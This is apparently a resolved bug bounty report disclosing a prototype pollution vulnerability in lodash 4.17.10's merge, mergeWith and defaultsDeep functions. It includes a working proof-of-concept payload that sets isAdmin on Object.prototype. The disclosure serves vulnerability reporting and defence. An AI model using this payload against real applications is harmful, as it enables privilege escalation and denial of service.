Prototype pollution attack (lodash / constructor.prototype)
High
N
Node.js third-party modules
Submitted None
Actions:
Reported by
asgerf
Vulnerability Details
Technical details and impact analysis
I would like to report a prototype pollution vulnerability in lodash.
It allows an attacker to inject properties on Object.prototype.
# Module
**module name:** lodash
**version:** 4.17.10
**npm page:** `https://www.npmjs.com/package/lodash`
## Module Description
The Lodash library exported as Node.js modules.
## Module Stats
12M downloads in the last week
# Vulnerability
## Vulnerability Description
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The functions `merge`, `mergeWith`, and `defaultsDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
## Steps To Reproduce:
Craft an object of form `{constructor: {prototype: {...}}}` and send it to `_.merge`.
```javascript
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true
```
# Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
## Impact
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption